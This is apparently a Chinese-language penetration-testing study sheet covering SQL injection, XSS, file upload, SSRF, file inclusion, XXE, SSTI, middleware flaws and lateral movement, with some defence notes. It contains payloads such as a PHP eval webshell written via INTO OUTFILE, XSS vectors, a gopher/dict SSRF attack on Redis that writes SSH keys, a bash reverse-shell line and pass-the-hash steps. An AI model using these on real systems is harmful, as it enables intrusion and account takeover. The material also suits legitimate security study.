SQL注入
sql注入的原理
sql 注入攻击是通过将恶意的 sql 查询或添加语句插入到应用的输入参数中,再在后台 sql 服务器上解析
执行进行的攻击
sql注入的分类
头部注入(ua,cookie,referer)
联合注入
报错注入
布尔盲注
时间盲注
堆叠注入宽字节注入
布尔注入原理
布尔盲注:根据注入信息返回true or fales 没有任何报错信息
时间盲注:界面返回值ture 无论输入任何值,返回的情况都是正常的来处。加入特定的时间函数,通过
查看web页面返回的时间差来判断注入的语句是否正确。
常用函数
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
查询语句
1.首先我们需要判断数据库长度
' or Length(database()) = 8 #返回true说明数据库长度为8
2.获取数据库名字
' or ord(mid(database(),1,1)) ='ascill值'#
依次获取
3.获取表的总数
' or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2#
4.获取表的长度(第一个表)
' or (select length(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=database() limit 0,1 )= (猜测得长度)#
5.获取表的内容
' or mid((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 0,1),1,1) = 'a' #
6.获取表的字段的总数
' or (select count(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_NAME=表名 ) = 8#8返回true说明有8个表
时间盲注函数
RLIKE
通过 rpad 或 repeat 构造长字符串,加以计算量打的 pattern,通过 repeat 的参数可以控制延时长短
sleep(duration)
睡眠时间为 duration 参数给定的秒数,然后返回0;若函数被中断,返回1。
BENCHMARK(count, expr)
重复 count 次执行表达式 expr。
可以被用于计算 MySQL 处理表达式的速度
结果值通常为0
笛卡尔积
SELECT count(*) FROM information_schema.columns A, information_schema.colums B,
information_schema.colums C;
通过复杂的运算达到延时
GET_LOCK(str, timeout)
使用字符串 str 给定的名字得到一个锁,超时为 timeout 秒
局限:当前会话不会生效,只有新会话开启,并且保持长连接( mysql_pconnect函数来连接数据库),才能生效
报错注入函数
updatexml():是mysql对xml文档数据进行查询和修改的xpath函数
extractvalue():是mysql对xml文档数据进行查询的xpath函数
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,MySQL 5.1.5版本以下**的不能上述函
数进行报错注入
并且,上述报错注入函数有字符限制,最长32位
虚拟表主键重复报错注入
报错注入的原因是group by在向临时表插入数据时,由于rand ()多次计算导致插入临时表时主键重复,
从而报错,又因为报错前concat ()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL
语句或函数执行后的结果。
floor() + rand() + group by
select count(*) from information_schema.tables group by
concat(version(),floor(rand(0)*2));
exp():此函数返回e(自然对数的底)指数X的幂值,整数溢出报错
and exp(~(select * from(select user())a));
geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错
宽字节注入原理
像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次
编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问
题,也就是我们熟悉的宽字节注入
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有
两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
常见转义函数:
1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string():转义下列字\x00 \n \r \ ' " \x1a
sql注入的bypass
绕过空格
注释符/* */,tab,%a0,括号
引号绕过
使用十六进制
逗号绕过
在使用盲注的时候,需要使用到substr(),mid),limit。这些子句方法都需要使用到逗号。
对于substr()和mid()这两个方法都可以使用from to方式来尝试绕过:
Select substr(database() from 1 for 1);
Select mid(database() from 1 for 1);
使用join:
Union select1,2 等价于 union select * from(select 1)a join (select 2)b
使用like:
Select ascii(mid(user(),1,1))=80 等价于 select user() like'r%'
对于limit可以使用offset来绕过:
Select * from news limit 0,1 等价于 select * from news limit 1 offset 0
比较符号(<>)绕过:
Greatest(): 返回最大值
使用N个参数,并返回N个参数中的最大值
Greatest(value1,value2,...)
Least(): 返回最小值
上面两个函数的比较规则:
如果任何参数为NULL,则两个函数都将立即返回NULL,不进行任何比较
如果在INT或REAL上下文中使用函数,或者所有参数都是整数值或REAL值,那么他们将分别作为INT或REAL来比较
如果参数有数字和字符串组成,则函数将他们作为数亨比较
如果至少有一个参数是非二进制(字符)字符串,则函数将参数作为非二进制字符串来比较在所有其他情况下,函数将作为二进制字符串进行比较
=绕过(like、rlike、regexp,<,>)
Or and xor not绕过(And == &&,Or == ||,Xor = |,Not = !)
sql注入的防御
采用一些过了函数过滤,或者黑白名单,还有就是预编译
预编译的原理
通俗的讲,预编译防止SQL注入的原理是提前编译SQL语句,将所有的用户输入都当做『数据』,而非
『语法』,来防止sql语句的执行从而防止sql注入(发生在后端)
缺点:
在PHP 5.3.6之前,PDO确实存在宽字节注入的问题
sql写文件利用
条件
secure_file_priv=空
知道网站绝对路径
有读写权限(或者有root权限最好)
读取文件:load_file()
id=-1' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini'),2 ---
写入文件:使用函数:Into Outfile(能写入多行,按格式输出)和Into Dumpfile (只能写入一行且没
有输出格式)
1')) union select 1,'<?php eval($_REQUEST[23]); ?>',3 into outfile 'D://1.php' ---
不能直接写一句话木马可以尝试使用file_put_contents函数写日志,再日志包含写文件
mysql8新特性注入
VALUES关键字
VALUES是把一组一个或多个行作为表展示出来,返回的也是一个表数据。
TABLE关键字
TABLE始终显示表的所有列
TABLE不允许对行进行任意过滤,即TABLE 不支持任何WHERE子句
XSS
xss原理
恶意攻击者往Web页面
里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而
达到恶意的特殊目的。
xss分类
1.反射型
非存储型,就是通过get或者post请求时,被后端处理过数据,并且响应到前端页面上
2.存储型
XSS代码被存储到服务器上的数据库里的某张表的字段里,或者页面,或者某个上传文件里
3.DOM型
仅仅在前段页面进行DOM树节点的修改操作的
xss常利用标签
<script> alert("xss"); </script>
<img src=1 onerror=alert("xss");>
<input onfocus="alert('xss');">
//竞争焦点,从而触发onbiur事件
<input onblur=alert('xss') autofocus><input autofocus>
//通过 autofocus 属性执行本身的focus事件,这个向量是使焦点自动跳转到输入元素上,触发焦点事
件,无需用户去触发
<input onfocus="alert('xss');"autofocus>
<details ontoggle="alert('xss');"></details>
// 使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');"></details>
<svg onload="alert('xss')"></svg>>
<select onfocus=alert('xss')></select>
// 通过autofocus 属性执行本身的focus事件,这个向量是使焦点自动跳转到输入元素上,触发焦点事
件,无需用户去触发
<select onfocus="alert('xss')" autofocus></select>
<iframe onload=alert("xss");></iframe>
<video><source onerror="alert('xss')"></video>
<audio src="x" onerror=alert('xss');></audio>
<body onload=alert('xss');></body>
防范xss攻击的方式
防范XSS攻击行为,一般有三种方式,一是对输入内容和URL参数进行过滤,二是对动态输出的内容进行
编码,使该脚本无法生效。三是对Cookie设置`http-only使js无法对Cookie进行操作。(需要在HTTP头
部配上,set-cookie: http-only 这个属性可以 防止XSS,它会禁止javascript脚本来访问cookie)
文件上传
文件上传漏洞原理
上传的文件能够被web容器解释执行。所以文件上传后所在的目录要是web容器所覆盖到的路径。
其次,用户能够从web访问这个文件。
文件上传漏洞bypass
一般都是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判
断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框
黑名单绕过
这里修改文件名字后,请求头中的 Content-Length 的值也要改。
(1)黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。
绕过方法:
(1)找黑名单扩展名的漏网之鱼 - 比如 iis6.0 中的 asa 和 cer
(2)可能存在大小写绕过漏洞 - 比如aSp(iis6.0 中可以)和 pHp(只能在小于php5.3.39 中的 linux 中)之中
(3)能被web容器解析的文件其他扩展名列表:jsp,jspx,jspf,asp,asa,cer,cdx,htr,xml,html,aspx,ashx,asmx,asax,ascx
(2)黑名单特殊后缀名绕过(利用难度高)
将Burpsuite截获的数据包中backlion.php名字改为 baclion.php4(php1,php2,php3,php4,php5), 前提
条件是 http.conf 中设置 AddType application/x-httpd-php .php1(php 的版本小于等于 5.3.29 以下)
(3)单双重后缀名绕过
上传时将 Burpsuite 截的数据包中文件名 backlion.php(backlion.asa)改 为
backlion.pphphph(backlion.asasaa),那么过滤了第一个"php"字符串"后, 开头的'p'和结尾的'hp'就组
合又形成了 php
(4)服务端 MIME 文件类型(Content-Type)绕过
白名单绕过
(1)配合web容器的解析漏洞:
IIS中的目录解析漏洞和分号解析漏洞 :
将一句话木马的文件名 backlion.php,改成 backlion.php.abc(奇怪的不被解析的后缀名都 行)。首先,
服务器验证文件扩展名的时候,验证的是.abc,只要该扩展名符合服务器端黑白名单觃则,即可上传。
nginx 空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行。
apache 的解析漏洞,上传如 a.php.rar a.php.gif 类型的文件名,可以避免 对于php文件的过滤机制,
但是由于 apache 在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar 等扩展名
是 apache 不能识别的, 因此就会直接将类型识别为 php,从而达到了注入php代码的目的。
(2)%00 截断上传绕过
通过抓包截断将 backlion.asp.jpg 后面的一个.换成%00 在上传的时候即 backlion.asp%00.jpg,当文件
系统读到%00 时,会认为文件已经结束,从而将 backlion.asp.jpg 的内容写入到 backlion.asp 中,从而
达到攻击的目的。%00 不是针对所有基于白名单的后缀名检查都能绕过,代码的实现过程中必须存在截
断上传漏洞,上传格式如下:bk.asp%00.jpg
(3)文件头内容检测绕过
文件头简介
不同的图片文件都有不同文件头,如: PNG:文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A JPEG:
文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识) GIF:文件头标识 (6 bytes) 47 49 46 38 39(37)
61 上传文件的时候会检查上传文件是否合法,如图片文件是否文件头含有 gif89, 这里可以通过一句话图
片木马生成工具 edjpgcom 戒者通过编辑器在木马内容基础上再加了一些文件信息,有点像下面的结构:
文件上传防御
-
客户端检测,使用 js 对上传图片检测,包括文件大小、文件扩展名、文件类型等
-
服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测、对文件重命名等
-
服务器端上传目录设置不可执行权限
-
检查网站有没有文件解析漏洞和文件包含漏洞
-
将文件上传到单独的文件服务器,并且单独设置文件服务器的域名
CSRF
CSRF的原理
攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成
了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚
至于购买商品、虚拟货币转账等。
CSRF的检测
最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那
么基本上可以确定存在CSRF漏洞。
以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要
抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表
单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,
则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
CSRF的防御
目前防御 CSRF 攻击主要有三种策略:
-
验证 HTTP Referer 字段;
-
在请求地址中添加 token 并验证;
-
在 HTTP 头中自定义属性并验证。
在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参
数的形式加入一个随机产生的 token(可以是JWT),并在服务器端建立一个拦截器来验证这个 token,
如果请求中没有 token 或者 token 内容不正确
SSRF
ssrf原理
1.服务端提供了从其他服务器应用获取数据的功能
2.没有对目标地址做过滤与限制
比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载文件等等
ssrf漏洞发现
具体可能出现SSRF的地方:
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要网站会取URL地址中title以及文本的内容作为显示以求一个好的用户体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以
进行SSRF测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏
洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、
sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使
用了xml引擎对象的地方 如wordpress xmlrpc.php)
ssrf验证
1、因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们可以通过抓包分析发送的请求是否是由
服务器端发送的来判断是否存在SSRF漏洞
2、在页面源码中查找访问的资源地址,如果该资源地址类型为http://www.xxx.com/a.php?image=(地
址)的可能存在
ssrf漏洞利用
未授权打redis
SSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击操作,未授权的情况下可以使用 dict 或者
gopher 协议来进行攻击,因为 gopher 协议构造比较繁琐,建议直接使用 DICT 协议
dict://x.x.x.x:6379/<Redis 命令>
有认证打redis
配合本地文件包含先成功读取到 /etc/redis.conf 配置文件,直接搜索 requirepass关键词来定位寻找密
码
302重定向打redis
利用web服务上的SSRF漏洞访问在另一台服务器上的302跳转,302跳转的Location 数据为:
gopher://127.0.0.1:6379/_[Redis伪造数据],Redis伪造的数据为向 /root/.ssh/保存authorized_keys文
件,文件内容为攻击机的SSH公钥。这样攻击机就可通过SSH直接连接漏洞机。
当返回302时,只是临时重定向,浏览器不会缓存数据
在自己的服务器上写302 跳转
在另一台自己的服务器上写一个302 重定向的代码
<?php header("Location: gopher>
FILE 协议获取本地信息
我们可以尝试配合 file 协议来读取本地的文件信息,尝试使用 file 协议来读取 /etc/passwd
探测内网端口
SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些
带 TCP 回显的端口,具体可以探测哪些端口需要大家自己动手去测试一下,BP 下使用迭代器模式爆
破,设置好要爆破的 IP 和 端口即可批量探测出端口开放的信息
目录扫描
内网 Web 资产进行目录扫描的话,使用传统的 dirsearch 等工具就不是很方便了,使用的是 Burpsuite
抓包,然后导入字典批量遍历路径参数
命令执行
经典的命令执行,通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数,从而导致任意命令执行
ssrf危险函数
file_get_contents()
fsockopen()
PHP fsockopen需要 PHP.ini 中allow_url_fopen选项开启。
curl_exec()
前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
ssrf的绕过
ip协议转换
短网址绕过(有生成短网址的网站)
利用302跳转
ssrf的防御
只允许发起HTTP(S)协议的请求;
限制访问端口;
限制不能访问内网IP;
特殊符号和字符过滤;
设置白名单/黑名单;
文件包含
相关函数
-
include()如果出错的话,只会提出警告,会继续执行后续语句。
-
include_once()
-
require()如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。
-
require_once()
远程文件包含受allow_url_fopen = On和allow_url_include = On这两个的影响。本地文件包含不受影响
相关伪协议
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代
替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下
$HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内
存。 enctype="multipart/form-data" 的时候 php://input 是无效的。
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的
文件函数非常有用,类似 readfile()、 file()和 file_get_contents(), 在数据流内容读取之前没有机会应用
其他过滤器。
file:// — 访问本地文件系统
ftp:// -- ftps:// — 访问 FTP(s) URLs
zip://:可以访问压缩包里的文件。当他与包含函数结合时,zip://流会被当做php文件执行。
phar://这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压,用法:?
file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩,
rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。步骤:写一个一句话木马
shell.php,然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式
文件包含分类
包含session
利用条件:session文件路径已知,且其中内容部分可控。
php的session文件的保存路径可以在phpinfo的session.save_path看,然后用
session.upload_progress将木马写入session文件
包含日志
利用条件:需要知道服务器日志的存储路径,且日志文件可读。
apache+Linux日志默认路径:/etc/httpd/logs/access.log或/var/log/httpd/access.log
2.apache+win2003日志默认路径:D:\xampp\apache\logs\access.log、
D:\xampp\apache\logs\error.log
包含environ
利用条件:
php以cgi方式运行,这样environ才会保持UA头。
environ文件存储位置已知,且environ文件可读。environ文件默认位置:/proc/self/environ。在Linux
系统下(FreeBSD是没有这个的)。Windows系统没有。
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到
environ中。之后再包含它,即可。
包含fd
文件描述符:File descriptor,简称fd,当应用程序请求内核打开/新建一个文件时,内核会返回一个文件
描述符用于对应这个打开/新建的文件,其fd本质上就是一个非负整数。实际上,它是一个索引值,指向
内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件
时,内核向进程返回一个文件描述符。
默认位置:/proc/self/fd/。在Linux系统下。Windows系统没有。
包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp
目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而
window下只有65535种不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,
直接包含即可
条件:存在phpinfo界面和文件包含
原理:
1.当我们给PHP发送POST数据包时,如果数据包里包含文件区块,PHP就会将文件保存成一个临时文
件,路径通常为:/tmp/php[6个随机字符],这个临时文件,在请求结束后就会被删除。
2.因为phpinfo页面会将请求上下文中的所有变量打出来,所以我们如果向phpinfo页面发送包含文件区
块的数据包,就可以在返回包里找到临时文件名,也就是$_FILES变量中的内容。
文件包含的防御
- 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败。
所以PHP 中使用open_basedir配置限制访问在指定的区域。
-
做好文件的权限管理。
-
对可以包含的文件进行限制,可以采用白名单的方式,或设置可以包含的目录。
-
对危险字符进行过滤,比如过滤.(点)/(反斜杠)\(反斜杠)等特殊字符。
-
尽量将allow_url_fopen和allow_url_include配置为off,不过像有些伪协议还是能使用,不过能尽
量off还是off吧。
- 尽量不使用动态包含等等
XXE
xxe原理
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成
文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可
以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
注:最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查
看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞
xxe防御
-
禁用外部实体
-
过滤和验证用户提交的XML数据
-
不允许XML中含有任何自己声明的DTD
-
有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的
属性值为false即可
SSTI
ssti原理
SSTI也就是服务器端模板注入攻击(Server-Side Template Injection),和SQL注入差不多,也是由于
没有安全地处理用户输入造成的安全问题。简单来说,其实质是服务端接收了用户的输入,但没有进行
严格的过滤就将用户的输入直接带入了编译渲染过程。这样在这个过程中如若用户输入的内容存在一些
恶意代码,就有可能会被执行。
攻击方式
base:对象的一个基类,一般情况下是object
mro:获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层所以在列表
中的最后,通过mro[-1]可以获取到
subclasses() :继承此对象的子类,返回一个列表
考察SSTI的CTF题目一般都是给个变量,因为有这些类继承的方法,便可以从任何一个变量,回溯到基
类中去,再获得到此基类所有实现的类,这便是攻击方式:
从变量->对象->基类->子类遍历->全局变量
原型链污染
原型链污染的核心机制在于,当我们调用对象某一属性,它首先会从obj中寻找,如果没有找到,则会向
上在obj.proto中寻找,如果仍未找到则会继续向上,从obj.proto.proto__查找,直到查找到元素或查
找到Object类为止
中间件漏洞
IIS
1、PUT漏洞
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本: IIS6.0
2、短文件名猜解
IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造
的某个不存在的短文件名,返回400。
3、远程代码执行
在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行
memcpy对虚拟路径进行构造的时候,引发栈溢出,从而导致远程代码执行。
4、解析漏洞
IIS 6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完
全不同的利用方式:
/test.asp/test.jpg test.asp;.jpg
第一种是新建一个名为 "test.asp" 的目录,该目录中的任何文件都被 IIS 当作 asp 程序执行(特殊符号
是 “/” )
第二种是上传名为 "test.asp;.jpg" 的文件,虽然该文件真正的后缀名是 ".jpg", 但由于含有特殊符号 ";"
,仍会被 IIS 当做 asp 程序执行
IIS7.5
php 又默认开启 "cgi.fix_pathinfo", 会对文件进行 “ 修理 ” ,可谓 “ 修理 ” ?举个例子,当 php 遇到路径
"/aaa.xxx/bbb.yyy" 时,若 "/aaa.xxx/bbb.yyy" 不存在,则会去掉最后的 “bbb.yyy" ,然后判断
"/aaa.xxx" 是否存在,若存在,则把 “/aaa.xxx" 当作文件。
Apache
1、解析漏洞
Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别(不在mime.tyoes内),则
继续向左识别
AddHandler application/x-httpd-php .php的配置文件配置错误
2、目录遍历
apache配置文件httpd.conf 找到Options+Indexes+FollowSymLinks +ExecCG配置错误
Nginx
1、文件解析
对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加
test.jpg/x.php进行解析攻击。
/etc/php5/fpm/pool.d/www.conf中security.limit_extensions = .php配置错误
2、目录遍历
/etc/nginx/sites-avaliable/default里的autoindex on配置错误
3、CRLF注入
CRLF时“回车+换行”(\r\n)的简称。
HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。
通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于
Nginx配置不正确,导致注入的代码会被执行。
4、目录穿越
Nginx反向代理,静态文件存储在/home/下,而访问时需要在url中输入files,配置文件中/files没有用/
闭合,导致可以穿越至上层目录。
Tomcat
1、远程代码执行
Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传
包含任意代码的 JSP 文件,造成任意代码执行。
影响版本: Apache Tomcat 7.0.0 – 7.0.81
2、war后门文件部署
Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。
若后台管理页面存在弱口令,则可以通过爆破获取密码。
jBoss
1、反序列化漏洞
jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免
费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不
包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
2、war后门文件部署
jBoss后台管理页面存在弱口令,通过爆破获得账号密码。登陆后台上传包含后门的war包。
WebLogic
1、反序列化漏洞
Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java
对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实
现。
2、SSRF
Weblogic 中的SearchPublicRegistries.jsp存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进
而攻击内网中redis、fastcgi等脆弱组件。
3、任意文件上传
通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认
的存储JKS Keystores文件的目录,之后使用"添加Keystore设置"的功能,可上传恶意的JSP脚本文件。
4、war后门文件部署
由于WebLogic后台存在弱口令,可直接登陆后台上传包含后门的war包。
其它中间件相关漏洞
1、FastCGI未授权访问、任意命令执行
服务端使用fastcgi协议并对外网开放9000端口,可以构造fastcgi协议包内容,实现未授权访问服务
端.php文件以及执行任意命令。
2、PHPCGI远程代码执行
在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开
关(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意
代码执行。
php反序列化漏洞
魔法函数
__construct() 当一个对象创建时被调用,反序列化不触发
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用,比如echo输出或用 . 和字符串拼接
__call() 当调用的方法不存在时触发
__invoke() 当一个对象被当作函数调用时触发
__wakeup() 反序列化时自动调用
__get() 类中的属性私有或不存在触发
__set() 类中的属性私有或不存在触发
反弹shell
bash -i >& /dev/tcp/ip/端口 0>&1
bash -i 打开一个交互式的bash
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket
连接,读写这个文件就相当于在这个socket连接中传输数据。
文件描述符
已知Linux下存在三种文件描述符:
0 - stdin 标准输入,使用< 或 <<
1 - stdout 标准输出,使用> 或 >>
2 - stderr 标准错误输出,使用2或者2>>
&>的含义
反弹shell中的&没有固定含义,放在>后面的&,表示重定向的目标不是一个文件,而是一个文件描述符。
当>&后面接文件时,表示将标准输出和标准错误输出重定向到文件
当>&后面接文件描述符时,表示将前面的文件描述符重定向到后面的文件描述符
内网渗透
一个目标怎么信息收集?
搜索引擎
Google搜索、Shodan搜索、FOFA搜索
信息收集工具:Maltego
可收集:域名邮箱、人员、地址
DNS分析
域名注册信息:whois
子域名:Layer子域名挖掘机、onlietools、dnsmap、fierce
真实IP地址 超级ping
网站架构
服务组件和脚本类型:Wappalyzer 、whatweb
服务器类型:nmap
CMS类型:onlinetools
WAF:WAF、wafoof
旁站和C段
onlinetools、webscan
后台目录
御剑目录扫描、7kbstorm、dirb
端口
nmap zenmap
漏洞扫描
AWVS Nessus
一个不出网机器怎么打
-
边缘主机出网,选择reverse反向连接,现在已经上线边缘主机
-
过已有的父Beacon使用SMB协议进行正向连接不出网机器,要求目标开启445端口,通过命名管道
进行认证即可上线,用户名和hash后,即可执行远程命令
横向移动
利用windows远程连接命令
IPC连接
(1)目标机器没有禁用IPC$连接,没有什么防火防盗拦截IPC$,139 445 端口也开了(能走445走
445,不能则走139)
(2)目标机器小管理员开了IPC$默认共享服务
(3)获取了目标机器的小管理员的管理员权限的账号密码(最好是域管理员账号密码),明文的
(4)目标系统能支持IPC$,且和攻击机能彼此互通(废话)
at任务
一是在获取webshell后不能够执行系统命令的情况下可以用at命令将命令执行后写入txt再用type读取,
二是利用at计划任务命令上线cs或者msf
首先介绍第一个用处,这是我之前在实战的过程中拿到了一个oa系统的shell,但是这里在webshell处不
能够执行命令,这时候就可以调用at命令调用cmd执行系统命令
schtasks命令
在2008及以后的系统中已经将at命令废弃,改用schtasks命令代替了at命令,原因是因为schtasks命令
比at命令使用起来更加灵活。
psexec
基本原理:
通过ipc连接admin,释放二进制文件psexecsvc.exe到目标.通过服务管理SCManager远程创建一个psexec服务,并启动服务.客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据.运行结束后删除服务
使用前提:
对方主机开启了 admin共享,如果关闭了admin共享,会提示:找不到网络名对方未开启防火墙如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
利用WMI
Windows操作系统默认不会将wmi操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性,wmic也可以用来调用cmd执行系统命令,跟at命令类似,wmic调用cmd的时候也是没有回显的,所以我们还是写入txt用type命令进行查看
PTH(pass the hash)
1.获得一台域主机的权限
2.Dump内存获得用户hash
3.通过pass the hash尝试登录其他主机
4.继续搜集hash并尝试远程登录
5.直到获得域管理员账户hash,登录域控,最终成功控制整个域
防御:KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但Administrator账号
(SID为500)例外-----使用该账号的散列值依然可以进行哈希传递。这里强调的是SID为500的账号,
在一些计算机中,即使将Administator账号改名,也不会影响SID的值。所以,如果攻击者使用SID
为500的账号进行横向移动,就不会受到KB2871997的影响
PTT(pass the ticket)
